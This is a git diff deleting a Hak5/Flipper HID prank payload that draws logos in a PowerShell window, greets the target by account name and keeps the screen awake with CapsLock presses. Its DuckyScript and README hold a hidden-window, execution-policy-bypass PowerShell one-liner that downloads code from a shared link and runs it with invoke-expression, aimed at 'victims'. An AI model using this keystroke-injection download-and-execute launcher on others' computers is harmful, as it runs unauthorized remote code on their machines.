diff --git a/Payloads/Flip-PS-Draw/Images/PS-Draw.jpg b/Payloads/Flip-PS-Draw/Images/PS-Draw.jpg deleted file mode 100644 index 78f7d5f..0000000 Binary files a/Payloads/Flip-PS-Draw/Images/PS-Draw.jpg and /dev/null differ diff --git a/Payloads/Flip-PS-Draw/Images/images b/Payloads/Flip-PS-Draw/Images/images deleted file mode 100644 index b66011e..0000000 --- a/Payloads/Flip-PS-Draw/Images/images +++ /dev/null @@ -1 +0,0 @@ -images will be stored here diff --git a/Payloads/Flip-PS-Draw/Images/omg-ico.png b/Payloads/Flip-PS-Draw/Images/omg-ico.png deleted file mode 100644 index d967bba..0000000 Binary files a/Payloads/Flip-PS-Draw/Images/omg-ico.png and /dev/null differ diff --git a/Payloads/Flip-PS-Draw/Images/ps-colors.jpg b/Payloads/Flip-PS-Draw/Images/ps-colors.jpg deleted file mode 100644 index f865281..0000000 Binary files a/Payloads/Flip-PS-Draw/Images/ps-colors.jpg and /dev/null differ diff --git a/Payloads/Flip-PS-Draw/Images/ps-hak5.jpg b/Payloads/Flip-PS-Draw/Images/ps-hak5.jpg deleted file mode 100644 index 30b6644..0000000 Binary files a/Payloads/Flip-PS-Draw/Images/ps-hak5.jpg and /dev/null differ diff --git a/Payloads/Flip-PS-Draw/Images/ps-omg.jpg b/Payloads/Flip-PS-Draw/Images/ps-omg.jpg deleted file mode 100644 index cef9357..0000000 Binary files a/Payloads/Flip-PS-Draw/Images/ps-omg.jpg and /dev/null differ diff --git a/Payloads/Flip-PS-Draw/PS-Custom-Draw.ps1 b/Payloads/Flip-PS-Draw/PS-Custom-Draw.ps1 deleted file mode 100644 index 73c22bc..0000000 --- a/Payloads/Flip-PS-Draw/PS-Custom-Draw.ps1 +++ /dev/null @@ -1,232 +0,0 @@ -############################################################################################################################################################ -# | ___ _ _ _ # ,d88b.d88b # -# Title : PS-CustomDraw | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # -# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # -# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # -# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # -# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ # -# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # -# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # -# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # -# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # -#__________________________________|_________________________________________________________________________# | | ) ~ ( # -# tiktok.com/@i_am_jakoby # / \ / ~ \ # -# github.com/I-Am-Jakoby # \ / \~ ~/ # -# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# -# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# -# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# -############################################################################################################################################################ - -<# -.NOTES - This script uses the provided arrays to generate images. You also have the ability to make your own if you so choose. - To increase the size of the pixels add more spaces to the following Write-Host command. - Write-Host " " -NoNewline -BackgroundColor $Colors[$position] - -.DESCRIPTION - This program will take the provided arrays and use them to generate images that will be drawn out in a powershell window. - -.SYNTAX - $col | PS-Draw - $hak5 | PS-Draw - $omg | PS-Draw - PS-Draw -Image $col - PS-Draw -Image $hak5 - PS-Draw -Image $omg -#> -############################################################################################################################################################ - -$Colors = @{ - 1 = 'White' - 2 = 'Black' - 3 = 'DarkBlue' - 4 = 'DarkGreen' - 5 = 'DarkCyan' - 6 = 'DarkRed' - 7 = 'DarkMagenta' - 8 = 'DarkYellow' - 9 = 'Gray' - 10 = 'DarkGray' - 11 = 'Blue' - 12 = 'Green' - 13 = 'Cyan' - 14 = 'Red' - 15 = 'Magenta' - 16 = 'Yellow' -} - - #Show available colors -$col = @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), - @(2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2), - @(3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3), - @(4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4), - @(5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5), - @(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6), - @(7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7), - @(8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8), - @(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9), - @(10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10), - @(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11), - @(12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12), - @(13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13), - @(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14), - @(15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15), - @(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16) - - -$omg = @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1), - @(2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2), - @(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2), - @(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2), - @(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2), - @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2), - @(2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2), - @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1), - @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1), - @(2,2,1,1,1,1,2,2,2,1,1,1,1,1,1,2,2,2,1,1,1,1), - @(2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), - @(2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), - @(2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2), - @(2,2,2,2,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,1,2,2,2,2,2,2,1,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,1,2,2,2,2,2,2,1,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,2,2), - @(2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2), - @(2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2), - @(2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2), - @(2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,2,2,2,2,2,2,2) - - -$hak5 = @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), - @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), - @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), - @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,1), - @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,1), - @(1,1,1,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,1,1,1,1,1,1,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,1,1,1,1,1,1,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,6,6,6,6,6,6,6,6,6,6,6,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,2,2,2,1,1,1,2,2,1,1,1,2,2,1,6,6,6,6,6,6,6,6,6,6,6,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,2,2,2,1,1,1,2,2,1,1,2,2,1,1,6,6,6,6,1,1,1,6,6,6,6,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,2,2,2,2,1,1,1,2,2,2,2,2,1,1,1,6,6,6,1,1,1,1,6,6,6,6,1), - @(1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,2,1,1,2,2,1,1,2,2,2,2,2,1,1,1,1,1,1,1,1,1,6,6,6,6,6,1), - @(1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,1,1,1,1,1,1,6,6,6,6,6,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,1,1,1,1,1,1,6,6,6,6,6,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,1,1,2,6,6,6,6,6,1,1,6,6,6,6,6,1,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,1,1,1,6,6,6,6,6,1,1,6,6,6,6,6,1,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,2,2,2,1,1,1,1,2,2,2,2,2,1,1,1,1,6,6,6,6,6,1,1,6,6,6,6,1,1,1), - @(1,2,2,1,1,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,1,1,1), - @(1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,1,1,1,1), - @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,1,1,1,1,1,1,1), - @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1) - -# ------------------------------------------------------------------------------------------- - - -function PS-Draw { - [CmdletBinding()] - param ( - [Parameter (Mandatory = $True, ValueFromPipeline = $True)] - [Alias("I")] - [object[]]$Image - ) - - # if the data is sent through the pipeline, use $input to collect is as array - if ($PSCmdlet.MyInvocation.ExpectingInput) { $Image = @($input) } - #$Data | Out-String -Stream -Width 9999 | ForEach-Object { "$($_.Trim())`r`n" } - - cls - - foreach ($row in $Image) { - foreach ($position in $row) { - Write-Host " " -NoNewline -BackgroundColor $Colors[$position] - Start-Sleep -m 10 - } - Write-Host "" - } -} - -<# - -.NOTES - This will get either the targets full name associated with the registered microsoft account - or it will default to grabbing the username of the account to use as a greeting for this script -#> - - function Get-fullName { - - try { - - $fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name") - - } - - # If no name is detected function will return $env:UserName - - # Write Error is just for troubleshooting - catch {Write-Error "No name was detected" - return $env:UserName - -ErrorAction SilentlyContinue - } - - return $fullName - -} - -# ------------------------------------------------------------------------------------------- - -# Get name to be used in greeting - -cls - -$fullName = Get-fullName - -echo "Hello $fullName" - -# ------------------------------------------------------------------------------------------- - -<# - -.NOTES - Then the script will be paused until the mouse is moved - script will check mouse position every indicated number of seconds - This while loop will constantly check if the mouse has been moved - "CAPSLOCK" will be continuously pressed to prevent screen from turning off - it will then sleep for the indicated number of seconds and check again - when mouse is moved it will break out of the loop and continue the script -#> - - -Add-Type -AssemblyName System.Windows.Forms -$o=New-Object -ComObject WScript.Shell -$originalPOS = [System.Windows.Forms.Cursor]::Position.X - - while (1) { - $pauseTime = 3 - if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ - break - } - else { - $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime - } - } - -<# - -.NOTES - This is where you call the function to draw out one of the images above - $col - to see the available colors you can use for a custom image - $hak5 - this will draw out the hak5 five logo - $omg - this will draw out the omg logo -#> - -# ------------------------------------------------------------------------------------------- - -# Call function with one of the arrays listed above to generate an image - -$hak5 | PS-Draw - - diff --git a/Payloads/Flip-PS-Draw/PS-Draw.ps1 b/Payloads/Flip-PS-Draw/PS-Draw.ps1 deleted file mode 100644 index babc366..0000000 --- a/Payloads/Flip-PS-Draw/PS-Draw.ps1 +++ /dev/null @@ -1,201 +0,0 @@ -############################################################################################################################################################ -# | ___ _ _ _ # ,d88b.d88b # -# Title : PS-Draw | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # -# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # -# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # -# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # -# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ # -# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # -# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # -# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # -# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # -#__________________________________|_________________________________________________________________________# | | ) ~ ( # -# tiktok.com/@i_am_jakoby # / \ / ~ \ # -# github.com/I-Am-Jakoby # \ / \~ ~/ # -# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# -# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# -# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# -############################################################################################################################################################ - -<# -.NOTES - This script will convert an approximation of what your image should look like. Most likely you'll need to test several images to find one that works - well. It is best to use images no larger than 150x150 pixels, but I would even recommend going smaller than that. My example image is 25x20 pixels - To increase the size of the pixels add more spaces to the following Write-Host command. - Write-Host " " -NoNewline -BackgroundColor $BackGround - -.DESCRIPTION - This program will take the path of an image you provide and convert it to a Bitmap file. An algorithm will be used to calculate the closest console color - that can be used in powershell. Finally that image will be drawn in a powershell window. - -.SYNTAX - "$env:TMP\omg-ico.png" | PS-Draw - PS-Draw -Path "$env:TMP\omg-ico.png" -#> -############################################################################################################################################################ - -Function PS-Draw -{ - param( - [String] [parameter(mandatory=$true, Valuefrompipeline = $true)] $Path, - [Switch] $ToASCII - ) - Begin - { - [void] [System.Reflection.Assembly]::LoadWithPartialName('System.drawing') - - # Console Colors and their Hexadecimal values - $Colors = @{ - 'FFFFFFFF' = 'White' - 'FF000000' = 'Black' - 'FF000080' = 'DarkBlue' - 'FF008000' = 'DarkGreen' - 'FF008080' = 'DarkCyan' - 'FF800000' = 'DarkRed' - 'FF800080' = 'DarkMagenta' - 'FF808000' = 'DarkYellow' - 'FFC0C0C0' = 'Gray' - 'FF808080' = 'DarkGray' - 'FF0000FF' = 'Blue' - 'FF00FF00' = 'Green' - 'FF00FFFF' = 'Cyan' - 'FFFF0000' = 'Red' - 'FFFF00FF' = 'Magenta' - 'FFFFFF00' = 'Yellow' - - } - - # Algorithm to calculate closest Console color (Only 16) to a color of Pixel - Function Get-ClosestConsoleColor($PixelColor) - { - ($(foreach ($item in $Colors.Keys) { - [pscustomobject]@{ - 'Color' = $Item - 'Diff' = [math]::abs([convert]::ToInt32($Item,16) - [convert]::ToInt32($PixelColor,16)) - } - }) | Sort-Object Diff)[0].color - } - } - Process - { - Foreach($item in $Path) - { - #Convert Image to BitMap - $BitMap = [System.Drawing.Bitmap]::FromFile((Get-Item $Item).fullname) - - Foreach($y in (1..($BitMap.Height-1))) - { - Foreach($x in (1..($BitMap.Width-1))) - { - $Pixel = $BitMap.GetPixel($X,$Y) - $BackGround = $Colors.Item((Get-ClosestConsoleColor $Pixel.name)) - - - If($ToASCII) # Condition to check ToASCII switch - { - Write-Host "$([Char](Get-Random -Maximum 126 -Minimum 33))" -NoNewline -ForegroundColor $BackGround - } - else - { - Write-Host " " -NoNewline -BackgroundColor $BackGround - } - } - Write-Host '' # Blank write-host to Start the next row - } - } - - } - end - { - - } - -} - -<# - -.NOTES - This will get either the targets full name associated with the registered microsoft account - or it will default to grabbing the username of the account to use as a greeting for this script -#> - - function Get-fullName { - - try { - - $fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name") - - } - - # If no name is detected function will return $env:UserName - - # Write Error is just for troubleshooting - catch {Write-Error "No name was detected" - return $env:UserName - -ErrorAction SilentlyContinue - } - - return $fullName - -} - -# ------------------------------------------------------------------------------------------- -# Download the image from wherever you are hosting it - -iwr https://www.dropbox.com/s/EXAMPLE/omg-ico.png?dl=1 -O $env:TMP\omg-ico.png - -# ------------------------------------------------------------------------------------------- - -# Get name to use in the greeting - -cls - -$fullName = Get-fullName - -echo "Hello $fullName" -# ------------------------------------------------------------------------------------------- - -<# - -.NOTES - Then the script will be paused until the mouse is moved - script will check mouse position every indicated number of seconds - This while loop will constantly check if the mouse has been moved - "CAPSLOCK" will be continuously pressed to prevent screen from turning off - it will then sleep for the indicated number of seconds and check again - when mouse is moved it will break out of the loop and continue the script -#> - - -Add-Type -AssemblyName System.Windows.Forms -$o=New-Object -ComObject WScript.Shell -$originalPOS = [System.Windows.Forms.Cursor]::Position.X - - while (1) { - $pauseTime = 3 - if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ - break - } - else { - $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime - } - } - - -<# - -.NOTES - This is where you call the function to draw out your image - Replace the path below with the path of your image - -.SYNTAX - "$env:TMP\omg-ico.png" | PS-Draw - PS-Draw -Path "$env:TMP\omg-ico.png" -#> - -# ------------------------------------------------------------------------------------------- - -# Call the function with the image you'd like to have drawn here - -"$env:TMP\omg-ico.png" | PS-Draw - diff --git a/Payloads/Flip-PS-Draw/PS-Draw.txt b/Payloads/Flip-PS-Draw/PS-Draw.txt deleted file mode 100644 index c7f2762..0000000 --- a/Payloads/Flip-PS-Draw/PS-Draw.txt +++ /dev/null @@ -1,17 +0,0 @@ -REM Title: PS-Draw -REM -REM Author: I am Jakoby -REM -REM Description: This payload is meant to draw images in your targets powershell console. See PS-Draw.ps1 for more details -REM -REM Target: Windows 10, 11 -REM -REM Remember to replace the link with your link for the intended file to download -REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly -REM -REM Download one of the two PS-Draw Execute files provided and execute it -REM -GUI r -DELAY 500 -STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl -ENTER diff --git a/Payloads/Flip-PS-Draw/README.md b/Payloads/Flip-PS-Draw/README.md deleted file mode 100644 index 667cd39..0000000 --- a/Payloads/Flip-PS-Draw/README.md +++ /dev/null @@ -1,146 +0,0 @@ -![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) - - -
- Table of Contents -
    -
  1. Description
  2. -
  3. Getting Started
  4. -
  5. Contributing
  6. -
  7. Version History
  8. -
  9. Contact
  10. -
  11. Acknowledgments
  12. -
-
- -# PS-Draw - -A script used to generate and draw images in the PowerShell window, used to leave a signature or perhaps taunt victims. - -## Description - -These two programs use two different methods to draw out images in the PowerShell window. - -PS-Draw will convert an image you download into a BMP file, estimate the colors used based off the 16 available powershell colors, -then draw your image out in the PowerShell window. This process is not exact and needs testing of multiple images to find one that works well. - -PS-Custom-Draw generates images to be drawn in the PowerShell window based off pre-configured arrays I put together already included in the file itself. -These images look significantly cleaner due to the fact they were drawn and coded specifically for this purpose. - -After the images are generated, a greeting will be generated by grabbing either the name associated with the registered Microsoft account or the -UserName environment variable. The script will then be paused until a mouse movement is detected at which time the pre-selected image will be drawn out in the PowerShell window. - -## Getting Started - -### Dependencies - -* DropBox or another image hosting service - Your Shared link for the intended file -* Windows 10,11 - -

(back to top)

- -### Executing program - -* Plug in your Device -* Invoke-WebRequest will be used to download the image - -``` -powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1 -``` -* The image will be converted into a BMP file -* An algorithm will be used to find the closest matching colors available in the powershell window -* The image will be generated in the powershell window - -This is an example of an image I used with the PS-Draw command - -![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/omg-ico.png?raw=true) - -This is how the iamge is interpreted and drawn out -![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/PS-Draw.jpg?raw=true) - -* The PS-Custom-Draw operates a little differently -* One of the preconfigured arrays is piped into the command to generate an image - -* "$col | PS-Draw" - This first one will show the available colors to be used as seen below - -![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/ps-colors.jpg?raw=true) - - -* "$omg | PS-Draw" - This will draw out the OMG logo as seen below - -![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/ps-omg.jpg?raw=true) - - -* "$hak5 | PS-Draw" - This will draw out the Hak5 logo as seen below - -![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/ps-hak5.jpg?raw=true) - - -

(back to top)

- -## Contributing - -All contributors names will be listed here - -I am Jakoby - -

(back to top)

- -## Version History - -* 0.1 - * Initial Release - -

(back to top)

- - -## Contact - -

📱 My Socials 📱

-
- - - - - - - - -
- - C# - -
YouTube -
- - Python - -
Twitter -
- - Golang - -
Instagram -
- - Jsonnet - -
Discord -
- - Jsonnet - -
TikTok -
-
- - -

(back to top)

- - -## Acknowledgments - -* [Hak5](https://hak5.org/) -* [MG](https://github.com/OMG-MG) - -

(back to top)